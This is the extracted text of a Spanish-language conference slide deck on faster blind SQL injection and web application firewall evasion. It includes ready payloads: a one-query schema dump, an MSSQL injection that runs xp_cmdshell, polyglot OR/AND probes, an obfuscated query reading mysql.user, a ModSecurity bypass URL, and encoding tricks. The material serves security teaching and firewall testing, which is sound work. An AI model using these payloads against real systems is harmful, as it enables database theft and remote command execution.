SlideShare uma empresa Scribd logo
1 de 88
Técnicas de Optimización y
Ofuscación
Indicé
Optimización
•Reducir el numero de peticiones
•Reducir el tamaño de las peticiones
Ofuscación
•Retos de SQLi
•Evadir Firewalls
•Diversión con codificaciones
Leapfrog
•SQLi
•LFI
•XSS
Exploits de una mama
Como prevenir Inyecciones de SQL?
http://www.bobby-tables.com
http://xkcd.com/327/
OPTIMIZACION
• Por que nos importa?
OPTIMIZACION
Intro
http://xkcd.com/85/
Análisis de métodos
•Bisección
•Bitwise
•Regex
•Binario a posición (Bin2Pos)
OPTIMIZACION
Inyección de SQL a Ciegas
Recordatorio
•Solo podemos obtener 1 carácter a la vez
•Testeamos si tenemos el carácter correcto con
respuestas “True” o “False”
Ejemplo
•SELECT * FROM users WHERE id=1 AND 1=1
•SELECT * FROM users WHERE id=1 AND 1=2
OPTIMIZACION
Inyección de SQL a Ciegas
OPTIMIZACION
Tabla ASCII
OPTIMIZACION
Tabla ASCII
Cada character ASCII puede ser representado con
1 byte o 8 bits
Caracter a
Binario (base 2) 01100001
Octal (base 8) 141
Decimal (base 10) 97
Hexadecimal (base 16) 61
El octavo bit del carácter ASCII que nos interesa
siempre será 0
OPTIMIZACION
Tabla ASCII
Decimal Hexadecimal Binario
0 00 00000000
127 7F 01111111
255 FF 11111111
El rango ASCII que nos interesa
Decimal Hexadecimal Binario
0 00 00000000
127 7F 01111111
• Algoritmo de búsqueda binaria
• ASCII rango 32 – 126
• Se divide la mitad: (32 + 126) / 2 = 79
• El valor es mayor o menor?
• Se divide la mitad nuevamente y se repite
el proceso
OPTIMIZACION
Método Bisección
a = 97 decimal
OPTIMIZACION
Método Bisección
97 entre 79 y 126 True (32 + 126) / 2 = 79
97 entre 79 y 103 True (79 + 126) / 2 = 102.5
97 entre 79 y 91 False (79 + 103) / 2 = 91
97 entre 91 y 103 True (91 + 103) / 2 = 97
97 entre 91 y 97 True (91 + 97) / 2 = 95
97 entre 91 y 95 False (95 + 97) / 2 = 96
97 entre 95 y 97 True 97 != 96
97 == 97
• Cada carácter ASCII puede ser representado
en 1 byte o 8 bits
• El octavo bit del rango ASCII de los caracteres
que nos interesa siempre es 0
• El numero de peticiones siempre será 7
OPTIMIZACION
Métodos Bitwise
OPTIMIZACION
Métodos Bitwise
01100001 >> 7 00000000 0
01100001 >> 6 00000001 1
01100001 >> 5 00000011 3
01100001 >> 4 00000110 6
01100001 >> 3 00001100 12
01100001 >> 2 00011000 24
01100001 >> 1 00110000 48
01100001 >> 0 01100001 97
"Faster Blind MySQL Injection Using Bit Shifting" -
Por Jelmer de Hen
OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
(97 >> 7) = 0 1 o 0 1
(97 >> 6) = 0 1 o 0 0
(97 >> 5) = 2 010 o 011 0
(97 >> 4) = 6 0110 o 0111 1
"Faster Blind MySQL Injection Using Bit Shifting" -
Por Jelmer de Hen
OPTIMIZACION
Métodos Bitwise
"Faster Blind MySQL Injection Using Bit Shifting" -
Por Jelmer de Hen
Pros:
•La cantidad de peticiones es consistente
Contras:
•Siempre usa 7 peticiones
•Implementacion rara
•No soporta hilos
OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
substr(bin(97>>7),-1,1) 1 o 0 0
substr(bin(97>>6),-1,1) 1 o 0 1
substr(bin(97>>5),-1,1) 1 o 0 1
substr(bin(97>>4),-1,1) 1 o 0 0
"Faster Blind MySQL Injection Using Bit Shifting" –
Mi variacion
OPTIMIZACION
Métodos Bitwise
"Faster Blind MySQL Injection Using Bit Shifting" –
Mi variacion
Pros:
•La cantidad de peticiones es consistente
•Hilos
Contras:
•Siempre usa 7 peticiones
OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
97 & 1 00000001
97 & 2 00000010
97 & 4 00000100
97 & 8 00001000
"Bit ANDing" - Por Ruben Ventura
OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
97 & 1 00000001 1
97 & 2 00000010
97 & 4 00000100
97 & 8 00001000
"Bit ANDing" - Por Ruben Ventura
OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
97 & 1 00000001 1
97 & 2 00000010 0
97 & 4 00000100
97 & 8 00001000
"Bit ANDing" - Por Ruben Ventura
OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
97 & 1 00000001 1
97 & 2 00000010 0
97 & 4 00000100 0
97 & 8 00001000
"Bit ANDing" - Por Ruben Ventura
OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
97 & 1 00000001 1
97 & 2 00000010 0
97 & 4 00000100 0
97 & 8 00001000 0
"Bit ANDing" - Por Ruben Ventura
"Bit ANDing" - Por Ruben Ventura
OPTIMIZACION
Métodos Bitwise
Pros:
•La cantidad de peticiones es consistente
•Hilos
Contras:
•Siempre usa 7 peticiones
OPTIMIZACION
Métodos Bitwise
a = 97 dec = 01100001
substr(bin(97),1,1) 1100001 1
substr(bin(97),2,1) 1100001 1
substr(bin(97),3,1) 1100001 0
substr(bin(97),4,1) 1100001 0
"Bit Substringing" - Por Keith Makan
"Bit Substringing" - Por Keith Makan
OPTIMIZACION
Métodos Bitwise
Pros:
•La cantidad de peticiones es consistente
•Hilos
Contras:
•Siempre usa 7 peticiones
“Regex method” - Por Simone 'R00T_ATI' Quatrini y
Marco 'white_sheep' Rondini
OPTIMIZACION
Método Regex
REGEXP '^[a-z]' True
REGEXP '^[a-n]' True
REGEXP '^[a-g]' False
REGEXP '^[h-n]' True
REGEXP '^[h-l]' False
“Regex method” - Por Simone 'R00T_ATI' Quatrini y
Marco 'white_sheep' Rondini
OPTIMIZACION
Método Regex
Pros:
•No se tiene que convertir a decimal
Contras:
•Requiere comillas
• Requiere una lista de los caracteres posibles
(32 – 126 decimal)
• Entre mas cerca este el carácter al inicio de la
lista, menos cantidad de peticiones son
requeridas
• Podemos ordenar la lista de caracteres por las
letras mas frecuentes del idioma
OPTIMIZACION
Método Bin2Pos
• Relacionar el carácter con su posición en la
lista
• Convertir esta posición a binario
• Hemos reducido la cantidad de caracteres a
buscar a 2 (0 y 1)
OPTIMIZACION
Método Bin2Pos
• Nuestra lista (sin mayúsculas)
– abcdefghijklmnopqrstuvwxyz
_0123456789,.<>/?;:'"[{]}|=+-)(*&^
%$#@!`~
• Lista hexadecimal
– 0123456789ABCDEF
• La lista mas grande tiene 94 caracteres
– BIN(1) = 1
– BIN(94) = 1011110
OPTIMIZACION
Método Bin2Pos
OPTIMIZACION
Método Bin2Pos
IF((@a:=MID(BIN(POSITION(MID((SEL
ECT password from users where
id=2 LIMIT 1),1,1)IN
CHAR(48,49,50,51,52,53,54,55,56,5
7,65,66,67,68,69,70))),1,1))!
=space(0),2-@a,0/0)
OPTIMIZACION
Método Bin2Pos
• a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,
t,u,v,w,x,y,z,0,1,2,3,4,5,6,7,8,9,_,!,
@,#,$,%,^,&,*,(,),-,
+,=,,,.,",',~,`,,|,{,},[,],:,;, ,
OPTIMIZACION
Método Bin2Pos
• “C” es la 3era posición en la lista, que equivale a 11 en
binario
• El 11 tiene 6 ceros a su izquierda: 00000011
• Nuestra petición empieza con el primer 1
• Por lo mismo, el primer numero siempre será 1
OPTIMIZACION
Método Bin2Pos
Obteniendo 11
•Sabemos que el primer digito es 1
•No requiere petición
•El segundo digito es 1?
•Si
•El tercer digito es 1?
•No, el tercer digito no existe
•Numero total de peticiones para “C”: 2
OPTIMIZACION
Método Bin2Pos
Pros:
•Muy pocas peticiones
•No es fácil de entender
Contras:
•Requieres 2 paginas diferentes
•Entre mas grande la lista, mas peticiones son
requeridas
OPTIMIZACION
Comparación de Métodos
OPTIMIZACION
Comparación de Métodos
DEMO
OPTIMIZANDO CONSULTAS
Obtener todas las bases de datos, tablas y
columnas con solo una petición
OPTIMIZANDO CONSULTAS
MySQL
SELECT (@) FROM (SELECT(@:=0x00),
(SELECT (@) FROM
(information_schema.columns)
WHERE (table_schema>=@) AND (@)IN
(@:=CONCAT(@,0x0a,'
[ ',table_schema,' ]
>',table_name,' >
',column_name))))x
OPTIMIZANDO CONSULTAS
MySQL
Una consulta para ejecución de código remota
•Checa si xp_cmdshell esta cargado
•Si esta cargado, checa si esta activo
•Corre el comando 'dir' y guarda el resultado en
la tabla TMP_DB
OPTIMIZANDO CONSULTAS
MSSQL
' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE
TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a
varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE
id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY
(id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE
%23xp_cmdshell (name nvarchar(11), min int, max int,
config_value int, run_value int) INSERT %23xp_cmdshell
EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT
* FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE
TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC
master..xp_cmdshell 'dir' SELECT @a='' SELECT
@a=Replace(@a%2B'<br></font><font
color="black">'%2Bdir,'<dir>','</font><font
color="orange">') FROM %23Data WHERE dir>@a DROP TABLE
%23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP
TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not
found' SELECT @a AS tbl INTO TMP_DB--
OPTIMIZANDO CONSULTAS
MSSQL
• Las pruebas pueden llegar a ser tedioso
• Inyecciones de SQL pueden usar comillas,
comillas dobles o no tener comillas
• 400+ parámetros por modulo?!?!
OPTIMIZANDO CONSULTAS
Mas Consultas de 1 Línea
Mínimo 3 pruebas diferentes por parámetro:
•OR 1=1
•OR '1'='1
•OR “1”=“1
OPTIMIZANDO CONSULTAS
Mas Consultas de 1 Línea
Que tal si los fusionamos?
OPTIMIZANDO CONSULTAS
Mas Consultas de 1 Línea
- OR 1#"OR"'OR''='"="'OR''='
Que tal si los fusionamos?
OPTIMIZANDO CONSULTAS
Mas Consultas de 1 Línea
- OR 1#"OR"'OR''='"="'OR''='
• Sin comillas
Que tal si los fusionamos?
OPTIMIZANDO CONSULTAS
Mas Consultas de 1 Línea
- OR 1#"OR"'OR''='"="'OR''='
• Sin comillas
• Doble comillas
Que tal si los fusionamos?
OPTIMIZANDO CONSULTAS
Mas Consultas de 1 Línea
- OR 1#"OR"'OR''='"="'OR''='
• Sin comillas
• Doble comillas
• Comillas simples
Que tal AND?
OPTIMIZANDO CONSULTAS
Mas Consultas de 1 Línea
- !=0--+"!="'!='
Que tal AND?
OPTIMIZANDO CONSULTAS
Mas Consultas de 1 Línea
- !=0--+"!="'!='
• Sin comillas
Que tal AND?
OPTIMIZANDO CONSULTAS
Mas Consultas de 1 Línea
- !=0--+"!="'!='
• Sin comillas
• Doble comillas
Que tal AND?
OPTIMIZANDO CONSULTAS
Mas Consultas de 1 Línea
- !=0--+"!="'!='
• Sin comillas
• Doble comillas
• Comillas simples
OFUSCACION
OFUSCACION
Que es?
OFUSCACION
Que es?
OFUSCACION
Como Confundir al Admin
UNION select@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO $ fRom(SeLEct@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO
frOM`information_schema`.`triggers`)0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO WHere !FAlSE||tRue&&FalSe||FalsE&&TrUE
like TruE||FalSE union/*!
98765select@000OO0O0OooOoO0OOoooOOoOooo0o0o:=grOup_cONcaT(`username`)``from(users)whErE(username)like'admin'limi
t 1*/select@000OO0O0OooOoO0OOoooO0oOooo0o0o limit 1,0 UnION SeleCt(selEct(sELecT/*!
67890sELect@000OO0O0O0oOoO0OOoooOOoOooo0o0o:=group_concat(`table_name`)FrOM information_schema.statistics WhERE
TABLe_SCHEmA In(database())*//*!@000OO0O0OooOoO0OOoooO0oOooo0o0o:=gROup_conCat(/*!taBLe_naME)*/fRoM
information_schema.partitions where TABLe_SCHEma not in(concat((select insert(insert((select
(collation_name)from(information_schema.collations)where(id)=true+true),true,floor(pi()),trim(version()from(@@version))),floor(pi(
)),ceil(pi()*pi()),space(0))), conv((125364/(true-!true))-42351,
ceil(pi()*pi()),floor(pow(pi(),pi()))),mid(aes_decrypt(aes_encrypt(0x6175746F6D6174696F6E,0x4C696768744F53),0x4C696768744F5
3)FROM floor(version()) FOR ceil(version())),rpad(reverse(lpad(collation(user()),ceil(pi())--@@log_bin,0x00)),! !
true,0x00),CHAR((ceil(pi())+!false)*ceil((pi()+ceil(pi()))*pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--cos(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--
ceil(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))-cos(pi()),(ceil(pi()*pi())*ceil(pi()*pi()))--floor(pi()*pi()),(ceil(pi()*pi())*ceil(pi()*pi()))-
floor(pi()))),0x6d7973716c))from(select--(select~0x7))0o0oOOO0Oo0OOooOooOoO00Oooo0o0oO)from(select@/*!/*!
$*/from(select+3.``)000oOOO0Oo0OOooOooOoO00Oooo0o0oO)0o0oOOO0Oo0OOooOooOoO00Oooo0o0oO/*!
76799sElect@000OO0O0OooOoO00Oooo0OoOooo0o0o:=group_concat(`user`)``from`mysql.user`WHeRe(user)=0x726f6f74*/#(SeLE
CT@ uNioN sElEcT AlL group_concat(cOLumN_nAME,1,1)FroM InFoRMaTioN_ScHemA.COLUMNS where taBle_scHema not
in(0x696e666f726d6174696f6e5f736368656d61,0x6d7973716c)UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO
UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO UNION SELECT@000OO0O0OooOoO0OOoooO0oOooo0o0oOO
UNION SELECT@0o0oOOO0Oo0OOooOooOoO00Oooo0o0oOO)
EVADIENDO FIREWALLS
EVADIENDO FIREWALLS
Tips Generales
• Simple casi siempre es mejor
• Lea la documentación para el
comportamiento inesperado y rarezas
• Aprende de que es capaz el sistema de base
de datos y lo que puede manejar
OFUSCACION
Fuzzer Sencillo en PHP
<?php
$link = mysql_connect('localhost', 'root', '');
for($i=0; $i<=255; $i++) {
$query = mysql_query("SELECT 1 FROM dual WHERE
1" . chr($i) . "=1");
if(!$query) {
continue;
}
echo $i . ':0x' . dechex($i) . ':' . chr($i) .
'<br>';
}
?>
OFUSCACION
Fuzzer Sencillo en PHP
OFUSCACION
Espacios Validos
SQLite3
- 0A, 0D, 0C, 09, 20
MySQL
- 09, 0A, 0B, 0C, 0D, A0, 20
MSSQL
- 01, 02, 03, 04, 05, 06, 07, 08, 09,
0A, 0B, 0C, 0D, 0E, 0F, 10, 11, 12,
13, 14, 15, 16, 17, 18, 19, 1A, 1B,
1C, 1D, 1E, 1F, 20, 25
EVADIENDO FIREWALLS
Tips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple
– CASE WHEN TRUE THEN TRUE END
- UNION SELECT GROUP_CONCAT(TABLE_NAME)
FROM INFORMATION_SCHEMA.TABLES
EVADIENDO FIREWALLS
Tips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple
– CASE WHEN TRUE THEN TRUE ELSE 1 END
- UNION SELECT GROUP_CONCAT(TABLE_NAME)
FROM INFORMATION_SCHEMA.TABLES
EVADIENDO FIREWALLS
Tips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple
– CASE WHEN (SELECT TRUE) THEN TRUE ELSE 1
END
- UNION SELECT GROUP_CONCAT(TABLE_NAME)
FROM INFORMATION_SCHEMA.TABLES
EVADIENDO FIREWALLS
Tips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple
– CASE WHEN (SELECT TRUE FROM dual) THEN
TRUE ELSE 1 END
- UNION SELECT GROUP_CONCAT(TABLE_NAME)
FROM INFORMATION_SCHEMA.TABLES
EVADIENDO FIREWALLS
Tips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple
– CASE WHEN (SELECT TRUE FROM dual) THEN
TRUE ELSE 1 END
- UNION SELECT GROUP_CONCAT(TABLE_NAME)
FROM INFORMATION_SCHEMA.TABLES
EVADIENDO FIREWALLS
Tips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple
– CASE WHEN (SELECT TRUE FROM`dual`) THEN
TRUE ELSE 1 END
- UNION SELECT GROUP_CONCAT(TABLE_NAME)
FROM INFORMATION_SCHEMA.TABLES
EVADIENDO FIREWALLS
Tips Generales
• No empieces con algo complicado y obvio
• Mejor mantenlo simple
– CASE WHEN (SELECT(TRUE)FROM`dual`) THEN
TRUE ELSE 1 END
- UNION SELECT GROUP_CONCAT(TABLE_NAME)
FROM INFORMATION_SCHEMA.TABLES
EVADIENDO FIREWALLS
Retos de SQLi
Modsecurity
http://www.modsecurity.org/testphp.vulnweb.c
om/artists.php?artist=-2%20div%201%20union
%20all%23in%0A%23between%20comments
%0A23in%0A%23between%20comments%0A
%0Aselect%200x00,%200x41%20like/*!
31337table_name*/,3%20from
%20information_schema.tables%20limit%201
EVADIENDO FIREWALLS
Codificaciones
• URL encode
• Double URL encode
• Unicode encode
• Short UTF8
• Long UTF8
• First Nibble
• Second Nibble
• Double Nibble
• Invalid Hex
EVADIENDO FIREWALLS – Codificaciones
URL Encode
• URL Encoding se usa para transformar
caracteres “especiales” para que se puedan
mandar por HTTP
• Los caracteres son transformados en su
equivalente hexadecimal, con el % (signo
de porcentaje) de prefijo
• a = %61
EVADIENDO FIREWALLS – Codificaciones
Double URL Encode
• Double URL encode es el proceso de re-
codificar el % (signo de porcentaje)
• a = %61
• %61 = %2561
EVADIENDO FIREWALLS – Codificaciones
URL Encode / Firewalls Debiles
Descripcion del tamper script
“charencode” de SQLMAP que se usa para
codificar la peticion como URL encode:
“Useful to bypass very weak web application
firewalls that do not url-decode the request
before processing it through their ruleset”
EVADIENDO FIREWALLS – Codificaciones
Nibble
• Un nibble son 4 bits
• Un nibble representa medio caracter
hexadecimal (2^4 = 16)
• Dos nibbles o un octet, representa un
caracter hexadecimal
EVADIENDO FIREWALLS – Codificaciones
Nibble
Hex Decimal Octal Binary
0 0 0 0000
1 1 1 0001
2 2 2 0010
3 3 3 0011
4 4 4 0100
5 5 5 0101
6 6 6 0110
7 7 7 0111
8 8 10 1000
9 9 11 1001
A 10 12 1010
B 11 13 1011
C 12 14 1100
D 13 15 1101
E 14 16 1110
F 15 17 1111
EVADIENDO FIREWALLS – Codificaciones
First Nibble
• Los primeros 4 bits son URL encoded
• “a” = %61
• 6 = %36
• %%361
EVADIENDO FIREWALLS – Codificaciones
Second Nibble
• Los segundos 4 bits son URL encoded
• “a” = %61
• 1 = %31
• %6%31
EVADIENDO FIREWALLS – Codificaciones
Double Nibble
• Es una combinacion de “first nibble” +
“second nibble” encoding
• “a” = %61
• 6 = 36
• 1 = %31
• %%36%31
EVADIENDO FIREWALLS – Codificaciones
Hex Invalido
• Se trata de crear hex invalido que resulta en
el mismo valor decimal que hex valido
• “a” = %61
• %61 = 6 * 16 + 1 = 97
• %2Ú = 2 * 16 + 65 = 97
• %2Ú es lo mismo que %61
EVADIENDO FIREWALLS – Codificaciones
Invalid Hex
Decimal Hex Valido Hex Invalido
10 0A 0A
11 0B 0B
12 0C 0C
13 0D 0D
14 0E 0E
15 0F 0F
16 10 0G
17 11 0H
RAREZAS DE PHP
RAREZAS DE PHP
Espacios
<?php
if(preg_match("/^.+$/", $_GET["t"])) {
Bloque peticion maliciosa...
}
?>
?t=1 AND 1=1 BLOQUEADO
?t=1 AND 1=1%20
?t=1 AND 1=1%A0
?t=1 AND 1=1%0D,%0C,%0B
?t=1 AND 1=1%0A%20
BLOQUEADO
BLOQUEADO
BLOQUEADO
PERMITIDO
RAREZAS DE PHP
Espacios
<?php
if(preg_match("/s+/", $_GET["t"])) {
Bloque peticion maliciosa...
}
?>
• En algunas configuraciones el NBSP es
detectado como un espacio, en otras
configuraciones no lo es
LEAPFROG
• Una herramienta diseñada para mejorar las
reglas del Firewall
• Busca bypases para diferentes ataques web
(SQLi, XSS, LFI, Filtros de contenido)
• Crea todo sus vectores dinámicamente
• Proporciona recomendaciones al encontrar
un bypass
• Genera una calificación basada en la cantidad
de vectores permitidos
LEAPFROG
Que es?
• WAF Acceptance Factor es la calificación que
genera basado en los vectores permitidos
LEAPFROG
WAF Acceptance Factor
• Wife Acceptance Factor tomado de:
http://en.wikipedia.org/wiki/Wife_acceptance_factor
LEAPFROG
Wife Acceptance Factor

Mais conteúdo relacionado

Semelhante a Nuevas tecnicas de optimización y ofuscacion

Sistemas numéricos datos y expresiones - tatis
Sistemas numéricos datos y expresiones - tatisSistemas numéricos datos y expresiones - tatis
Sistemas numéricos datos y expresiones - tatisAlcira Ordóñez Rey
 
Tecnicas de Blind-Mysql-Injection
Tecnicas de Blind-Mysql-InjectionTecnicas de Blind-Mysql-Injection
Tecnicas de Blind-Mysql-Injectionq3rv0
 
Planes de ejecución 1
Planes de ejecución 1Planes de ejecución 1
Planes de ejecución 1SolidQ
 
Mejores prácticas desarrollo de base de datos
Mejores prácticas desarrollo de base de datos Mejores prácticas desarrollo de base de datos
Mejores prácticas desarrollo de base de datos Eduardo Castro
 
1388 Elizabeth SDI U123 ago-dic 2018.pptx
1388 Elizabeth SDI  U123 ago-dic 2018.pptx1388 Elizabeth SDI  U123 ago-dic 2018.pptx
1388 Elizabeth SDI U123 ago-dic 2018.pptxlimbertErickochoaBla
 
SHA-1 de 0 a #fail - Andsec 2017 - Mateo Martinez
SHA-1 de 0 a #fail - Andsec 2017 - Mateo MartinezSHA-1 de 0 a #fail - Andsec 2017 - Mateo Martinez
SHA-1 de 0 a #fail - Andsec 2017 - Mateo MartinezMateo Martinez
 
CCNA I-II-III Exploration v4
CCNA I-II-III Exploration v4CCNA I-II-III Exploration v4
CCNA I-II-III Exploration v4cuty54
 
3. algoritmos de ordenamiento interno
3. algoritmos de ordenamiento interno3. algoritmos de ordenamiento interno
3. algoritmos de ordenamiento internoFernando Solis
 
Optimización, rendimiento y escalabilidad en ActiveRecord
Optimización, rendimiento y escalabilidad en ActiveRecordOptimización, rendimiento y escalabilidad en ActiveRecord
Optimización, rendimiento y escalabilidad en ActiveRecordEmili Parreno
 
Digital
DigitalDigital
Digitaltoni
 
Digital E
Digital EDigital E
Digital Etoni
 
Escalamiento en plc_siemens_by_pgf
Escalamiento en plc_siemens_by_pgfEscalamiento en plc_siemens_by_pgf
Escalamiento en plc_siemens_by_pgfPaul Gálvez
 

Semelhante a Nuevas tecnicas de optimización y ofuscacion (20)

Charla Mysql
Charla MysqlCharla Mysql
Charla Mysql
 
Expresiones logicas
Expresiones logicasExpresiones logicas
Expresiones logicas
 
Capítulo 4: Cifrado en Bloque
Capítulo 4: Cifrado en BloqueCapítulo 4: Cifrado en Bloque
Capítulo 4: Cifrado en Bloque
 
Sesión 4
Sesión 4Sesión 4
Sesión 4
 
Digital
DigitalDigital
Digital
 
Sistemas numéricos datos y expresiones - tatis
Sistemas numéricos datos y expresiones - tatisSistemas numéricos datos y expresiones - tatis
Sistemas numéricos datos y expresiones - tatis
 
Tipos basicos
Tipos basicosTipos basicos
Tipos basicos
 
Tecnicas de Blind-Mysql-Injection
Tecnicas de Blind-Mysql-InjectionTecnicas de Blind-Mysql-Injection
Tecnicas de Blind-Mysql-Injection
 
Planes de ejecución 1
Planes de ejecución 1Planes de ejecución 1
Planes de ejecución 1
 
Planes de ejecucion 1
Planes de ejecucion 1Planes de ejecucion 1
Planes de ejecucion 1
 
Mejores prácticas desarrollo de base de datos
Mejores prácticas desarrollo de base de datos Mejores prácticas desarrollo de base de datos
Mejores prácticas desarrollo de base de datos
 
1388 Elizabeth SDI U123 ago-dic 2018.pptx
1388 Elizabeth SDI  U123 ago-dic 2018.pptx1388 Elizabeth SDI  U123 ago-dic 2018.pptx
1388 Elizabeth SDI U123 ago-dic 2018.pptx
 
SHA-1 de 0 a #fail - Andsec 2017 - Mateo Martinez
SHA-1 de 0 a #fail - Andsec 2017 - Mateo MartinezSHA-1 de 0 a #fail - Andsec 2017 - Mateo Martinez
SHA-1 de 0 a #fail - Andsec 2017 - Mateo Martinez
 
CCNA I-II-III Exploration v4
CCNA I-II-III Exploration v4CCNA I-II-III Exploration v4
CCNA I-II-III Exploration v4
 
3. algoritmos de ordenamiento interno
3. algoritmos de ordenamiento interno3. algoritmos de ordenamiento interno
3. algoritmos de ordenamiento interno
 
Optimización, rendimiento y escalabilidad en ActiveRecord
Optimización, rendimiento y escalabilidad en ActiveRecordOptimización, rendimiento y escalabilidad en ActiveRecord
Optimización, rendimiento y escalabilidad en ActiveRecord
 
Digital
DigitalDigital
Digital
 
Digital E
Digital EDigital E
Digital E
 
Escalamiento en plc_siemens_by_pgf
Escalamiento en plc_siemens_by_pgfEscalamiento en plc_siemens_by_pgf
Escalamiento en plc_siemens_by_pgf
 
INTRODUCCION A LOS SISTEMAS DIGITALES
INTRODUCCION A LOS SISTEMAS DIGITALESINTRODUCCION A LOS SISTEMAS DIGITALES
INTRODUCCION A LOS SISTEMAS DIGITALES
 

Mais de Tensor

Libertad
LibertadLibertad
LibertadTensor
 
Método de la regla falsa (o metodo de la falsa posición)
Método de la regla falsa (o metodo de la falsa posición)Método de la regla falsa (o metodo de la falsa posición)
Método de la regla falsa (o metodo de la falsa posición)Tensor
 
Metodo de la bisección
Metodo de la bisecciónMetodo de la bisección
Metodo de la bisecciónTensor
 
Transito vehicular
Transito vehicularTransito vehicular
Transito vehicularTensor
 
Teoria de colas
Teoria de colasTeoria de colas
Teoria de colasTensor
 
Practica 7 2016
Practica 7 2016Practica 7 2016
Practica 7 2016Tensor
 
Practica 6 2016
Practica 6 2016Practica 6 2016
Practica 6 2016Tensor
 
Game maker
Game makerGame maker
Game makerTensor
 
Practica 5 2016
Practica 5 2016Practica 5 2016
Practica 5 2016Tensor
 
Procesamiento de archivos
Procesamiento de archivosProcesamiento de archivos
Procesamiento de archivosTensor
 
Cadenas y funciones de cadena
Cadenas y funciones de cadenaCadenas y funciones de cadena
Cadenas y funciones de cadenaTensor
 
Simulación en promodel clase 04
Simulación en promodel clase 04Simulación en promodel clase 04
Simulación en promodel clase 04Tensor
 
Reduccion de orden
Reduccion de ordenReduccion de orden
Reduccion de ordenTensor
 
Variación+de+parametros
Variación+de+parametrosVariación+de+parametros
Variación+de+parametrosTensor
 
Coeficientes indeterminados enfoque de superposición
Coeficientes indeterminados   enfoque de superposiciónCoeficientes indeterminados   enfoque de superposición
Coeficientes indeterminados enfoque de superposiciónTensor
 
Bernoulli y ricatti
Bernoulli y ricattiBernoulli y ricatti
Bernoulli y ricattiTensor
 
Practica no. 3 tiempo de servicio
Practica no. 3 tiempo de servicioPractica no. 3 tiempo de servicio
Practica no. 3 tiempo de servicioTensor
 
Clase 14 ondas reflejadas
Clase 14 ondas reflejadasClase 14 ondas reflejadas
Clase 14 ondas reflejadasTensor
 
Ondas em
Ondas emOndas em
Ondas emTensor
 
Clase 7 ondas electromagneticas
Clase 7 ondas electromagneticasClase 7 ondas electromagneticas
Clase 7 ondas electromagneticasTensor
 

Mais de Tensor (20)

Libertad
LibertadLibertad
Libertad
 
Método de la regla falsa (o metodo de la falsa posición)
Método de la regla falsa (o metodo de la falsa posición)Método de la regla falsa (o metodo de la falsa posición)
Método de la regla falsa (o metodo de la falsa posición)
 
Metodo de la bisección
Metodo de la bisecciónMetodo de la bisección
Metodo de la bisección
 
Transito vehicular
Transito vehicularTransito vehicular
Transito vehicular
 
Teoria de colas
Teoria de colasTeoria de colas
Teoria de colas
 
Practica 7 2016
Practica 7 2016Practica 7 2016
Practica 7 2016
 
Practica 6 2016
Practica 6 2016Practica 6 2016
Practica 6 2016
 
Game maker
Game makerGame maker
Game maker
 
Practica 5 2016
Practica 5 2016Practica 5 2016
Practica 5 2016
 
Procesamiento de archivos
Procesamiento de archivosProcesamiento de archivos
Procesamiento de archivos
 
Cadenas y funciones de cadena
Cadenas y funciones de cadenaCadenas y funciones de cadena
Cadenas y funciones de cadena
 
Simulación en promodel clase 04
Simulación en promodel clase 04Simulación en promodel clase 04
Simulación en promodel clase 04
 
Reduccion de orden
Reduccion de ordenReduccion de orden
Reduccion de orden
 
Variación+de+parametros
Variación+de+parametrosVariación+de+parametros
Variación+de+parametros
 
Coeficientes indeterminados enfoque de superposición
Coeficientes indeterminados   enfoque de superposiciónCoeficientes indeterminados   enfoque de superposición
Coeficientes indeterminados enfoque de superposición
 
Bernoulli y ricatti
Bernoulli y ricattiBernoulli y ricatti
Bernoulli y ricatti
 
Practica no. 3 tiempo de servicio
Practica no. 3 tiempo de servicioPractica no. 3 tiempo de servicio
Practica no. 3 tiempo de servicio
 
Clase 14 ondas reflejadas
Clase 14 ondas reflejadasClase 14 ondas reflejadas
Clase 14 ondas reflejadas
 
Ondas em
Ondas emOndas em
Ondas em
 
Clase 7 ondas electromagneticas
Clase 7 ondas electromagneticasClase 7 ondas electromagneticas
Clase 7 ondas electromagneticas
 

Último

ACERTIJO DE LA BANDERA OLÍMPICA CON ECUACIONES DE LA CIRCUNFERENCIA. Por JAVI...
ACERTIJO DE LA BANDERA OLÍMPICA CON ECUACIONES DE LA CIRCUNFERENCIA. Por JAVI...ACERTIJO DE LA BANDERA OLÍMPICA CON ECUACIONES DE LA CIRCUNFERENCIA. Por JAVI...
ACERTIJO DE LA BANDERA OLÍMPICA CON ECUACIONES DE LA CIRCUNFERENCIA. Por JAVI...JAVIER SOLIS NOYOLA
 
ACUERDO MINISTERIAL 078-ORGANISMOS ESCOLARES..pptx
ACUERDO MINISTERIAL 078-ORGANISMOS ESCOLARES..pptxACUERDO MINISTERIAL 078-ORGANISMOS ESCOLARES..pptx
